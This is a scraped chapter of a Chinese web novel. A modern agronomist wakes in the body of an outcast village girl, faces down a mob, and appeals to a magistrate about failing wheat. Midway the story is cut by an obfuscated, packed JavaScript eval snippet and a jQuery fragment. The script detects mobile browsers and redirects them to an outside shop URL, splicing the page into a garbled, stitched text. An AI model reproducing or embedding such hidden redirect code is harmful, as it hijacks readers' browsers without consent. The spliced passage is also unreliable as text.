1. 第一章
作品:《靠种地养了个王爷》 姜禾早上是被恶毒的咒骂声吵醒的,刚睁开眼时脑子还是懵的。
破旧的土房,漏风的窗户,这一切都在提醒她真的穿越了。
“开门!姜初一你给我滚出来!”
“扫把星,你害死了我们全村的庄稼,还有脸躲在屋里!”
门外的叫骂声一浪高过一浪,夹杂着沉重的踹门声。
姜禾看着那扇摇摇欲坠的破门板,心里涌起一股荒诞感。
不久前她还在学校实验田里研究抗旱作物,一转眼变成了被人围攻的扫把星。
更荒谬的是,她昨天刚穿过来那一刻,不是躺着,不是坐着,而是脖子里勒着根麻绳在树上吊着。
她当即被勒得眼前发黑,差点直接嗝屁。
好在那根麻绳年代久远,她在上面挂了没一会,就不堪重负断了。
她摔在地上,剧烈的咳嗽起来。
也正是那之后,原主的记忆一股脑涌了进来。
这具身体原本的主人叫姜初一,出生在个姜禾从未在历史上见过的王朝,大昭国。
小姑娘今年十五岁,是个苦命的孤女。
父亲在她三岁时摔死在山里,母亲伤心过度没撑两年也走了,唯一的哥哥前年秋收时被毒蛇咬死。
于是,村里人就开始传她是扫把星,克父克母克兄长,谁沾上谁倒霉。
今年开春,村里的庄稼莫名其妙开始发黄枯萎,眼看着就要绝收。村民们惶恐之余,很快把矛头指向了姜初一,说她克死了家里人还不够,现在要克死全村!
原主本就胆小怯弱,被全群人围攻谩骂,说要把她烧死祭天驱灾。小姑娘承受不住这巨大的压力,绝望之下选择了上吊自尽。
姜禾心里一阵发闷。
她没法说原主的选择是对是错。
站在局外人的角度指手画脚说要坚强、要好好活下去,那是站着说话不腰疼。若换成是她被日日围着骂、被当成牲口一样商量着怎么烧死,也未必能撑更久。
可丧归丧,她并没有继续往下想。想这些没有用,既不会让村里人改观,也不能让原主活过来。
按照原主记忆摸回家,姜禾翻出仅剩的半碗陈米煮了粥,就着咸菜吃了个干净。然后倒头就睡,打算养足精神再说。
只可惜才刚天亮,麻烦就已找上门。
“姜初一,你再不出来,我就砸门了!”
姜禾从床上坐起,透过窗户往外看,门口黑压压站了一片人,少说也有三四十个,手里拿着锄头木棍火把,一副不烧死她不罢休的架势。
这阵仗,说不害怕那是假的,可越是这种时候越不能自乱阵脚。
“砰!”
一声巨响,门板被踹得摇摇晃晃,眼看着就要散架。
姜禾叹了口气,知道不能再拖,整理了一下身上的粗布衣裳,走过去打开门。
门一开,外面的喧嚣声顿时静了一瞬。
领头的是村长李大富,五十来岁,络腮胡子,一脸横肉,此刻正举着火把凶神恶煞地瞪着她:“姜初一!别以为躲在家里就没事了,今天就把你烧死祭天!”
姜禾还没说话,人群后面突然传来一个颤抖的声音:“村、村长,你看她脖子……”
所有人的目光齐刷刷落在姜禾脖子上。
那里有一圈青紫的勒痕,触目惊心。
“李二狗昨天说得没错啊,她真去上吊了!”
“啧啧,这勒痕看着可真吓人。”一个妇人冷笑着说,“可惜啊,怎么就没死成呢?”
“白瞎了那根麻绳,还以为她能自己把自己解决了呢,省得我们动手。”
人群爆发出一阵哄笑声,夹杂着恶意的嘲讽。
李大富啐了一口:“行了,管她是真想死还是装样子,反正今天都得死!”
姜禾被这群人的冷血和恶毒气得浑身发抖,可那股颤抖很快被她硬生生压了下去。
她心里清楚,这时候生气、讲道理都没用。
眼看着庄稼就要绝收,村民们解决不了天灾,就想从别的地方寻找突破口,而姜初一只不过是可以让他们发泄怒火和恐惧的替罪羊。
她不能直接和村民的迷信对抗,得让他们产生新的更现实的恐惧,才有沟通的空间。
想到这,姜禾喘了口气,平静质问道:“你们烧死我容易,但烧死我之后呢?怎么说也是一条人命,到时候官府下来查,你们说得清吗?”
李大富冷哼一声:“你少拿官府吓唬人!你就是个扫把星,克死父母兄弟还不够,还要克死全村的庄稼,我们烧死你是为民除害!到时候全村作证,就说你是妖邪,官府也管不着。”
“《大昭律》明文规定,民间不得私斗,违之,伤人者杖责,致人命者绞刑。”姜禾看着李大富,一字一句道:“当众烧死活人可是重罪……你是想让全村人给你作证,还是想拉着全村人给你陪葬?这可说不准。”
人群中开始有窃窃私语声。
他们大多数也都是被旱情逼急了,脑子一热就跟着村长一起来了,哪里真想过什么后果,就算有后果也都觉得轮不到自己承担。此刻被姜禾这么一提醒,不少人心里都开始打退堂鼓。万一真闹出什么事,光是打官司就够折腾的,更别说万一摊上人命官司,他们这些小老百姓根本吃不消。
姜禾看出他们的犹豫,道:“退一万步说,就算官府不追究,你们烧死我之后,庄稼就能活过来吗?田里的旱情就能解决吗?你们在这胡闹解决不了任何问题,庄稼该枯还是枯,该死还是死,你们照样还是饿肚子。”
这话戳中了所有人的痛处。
人群沉默了片刻。
一个老农颤巍巍地说:“那、那你说怎么办?难道就眼睁睁看着庄稼全死光?”
“我有办法。”姜禾斩钉截铁地说。
“什么办法?”李大富显然也有些动摇。
“给我三天时间。三天之内,我保证让你们的庄稼重新活过来。如果做不到,到时候你们要杀要剐,我绝不反抗。”
众人面面相觑,虽然不知道她有什么办法,但看她说得这么斩钉截铁、胸有成竹的样子,倒真被震慑住了。
况且要真能救活庄稼,谁愿意闹出人命。
李大富见势头不对,却也不敢擅自做主,转头看向身边的几个族老。
一个白胡子老头沉吟片刻,说:“就给她三天试试。反正庄稼已经这样了,死马当活马医。三天后要是不行,再处置她也不迟。”
人群渐渐散去。
姜禾关上门,这才感觉到后背已经被冷汗浸湿。
好险,总算保住了小命。
可一想到刚才那些人的眼神,她就忍不住浑身发颤。
姜禾靠在门板上,心里快速盘算着。
她作为农学专业的优秀博士生,解决农作物的各种疑难杂症不是问题。而且结合原主的记忆,她也大概知道李家村的问题出现在哪。
现在的问题是她势单力薄,村民虽然给了她三天时间,但那也是被她刚才的气势唬住了。等他们反应过来姜初一并不懂这些的时候,就晚了。她总不能说自己不是姜初一,是穿越过来的,只是借用了这具身体吧。这种荒诞离谱的事,说出来只会让村民更加确信她是妖邪,怕是连三天都等不及就要烧死她。
姜禾越想越觉得危险。
遇到问题
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971598|193470||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怎么办?
当然是找警察叔叔。
可那是现代思维。
那在古代遇到问题怎么办?
自然是找县令大人。
可根据原主的记忆来看,县令似乎也不待见她,平日里对她这个灾星避之不及,但至少明面上还是要讲王法的。
眼下只有死马当活马医。
打定主意后,姜禾找出一件相对干净的衣服换上,趁着村民们还没缓过神来,悄悄从后门溜出去。
李家村距离县城十里路,姜禾一路小跑,赶到时已近晌午。
县衙门口站着两个衙役,正无聊的靠在门柱上打哈欠。
姜禾走上前,下意识道:“两位差爷,小女有天大的冤屈要禀告。”
两个衙役打量了他一眼,其中一个皱眉道:“哪儿来的野丫头,叫什么名字?何事喊冤?”
喊冤?姜禾琢磨了一下,若说自己被李家村的人当成灾星针对,求县太爷为自己做主,县衙怕是不会管。得把事情往大了说,大到不能遮掩,大到不得不管。
“小女姜初一,李家村人。小女并非喊冤,是……。”
衙役听到姜初一这三个字,话都不等她说完,就打断道:“原来是你,你不好好在家待着,来这儿胡闹什么?县太爷日理万机,哪有空管你村里那些鸡毛蒜皮的事。”
姜禾装出急色模样,实际上早就猜到对方会这么说,正要拿出准备好的说辞,一道声音从府衙里面传来,只得暂停。
“怎么回事?”
衙役一惊,连忙转身拉开紧闭的府衙大门,禀报道:“大人,是李家村那个灾星来闹事。”
县令声音不悦,道:“行了,本官知道了,有什么事让她进来说,别在外面胡搅蛮缠。”
姜禾跟着衙役走进县衙大堂。
大堂内光线昏暗,正中央摆着一张公案,案后坐着位神情倨傲、留着山羊胡的中年男人。
姜禾注意到大堂左侧立着一道雕花屏风,屏风后似有人影晃动,但她来不及细想,县令已经不耐烦地开口。
“说吧,什么事?”
姜禾气定神闲,道:“大人,小女是来请您查灾的。李家村今年春天以来,庄稼大面积发黄枯萎,眼看就要绝收。这毕竟是关系到百姓生机的大事,还请大人明察。”
县令摆摆手,一副早就知道的样子:“李家村的事本官早有耳闻,说是遇上了春旱,本官已经组织村民多浇水、勤施肥。你还来做什么?”
“大人。”姜禾抬起头,语气恳切,“光浇水施肥是不够的!李家村的庄稼之所以出问题,根子不在天灾,而是土地出了问题。”
县令皱起眉头,不耐烦道:“土地出问题?你一个黄毛丫头懂什么?本官看你就是在这胡说八道。”
姜禾肯定道:“小女句句属实!李家村这几年来为多打粮食,年年种麦子,不换茬轮作,时间长了,地里的养分被窄干,土壤越来越硬。现在就算浇再多的水,也渗不下去;施肥再多,根也扎不深。这才是庄稼发黄枯萎的根本原因。”
县令冷笑:“你说的这些,本官也派人调查了,已经告诉村民让他们深耕细作,多施粪肥,该怎么办就怎么办。你不在田里勤耕苦种,反而跑到衙门聒噪,难道还指望本官下地帮你们种不成?”
“可他们的办法不对啊。”姜禾着急道:“现在需要的是……”
“够了。”县令一拍惊堂木,“你一个丫头,懂得比村里那些种了几十年地的老把式还多?本官看你就是来捣乱的!来人,把她给本官轰出去。”
两个衙役正要上前,一个清冷的男声从屏风后面传来。
“慢着。”

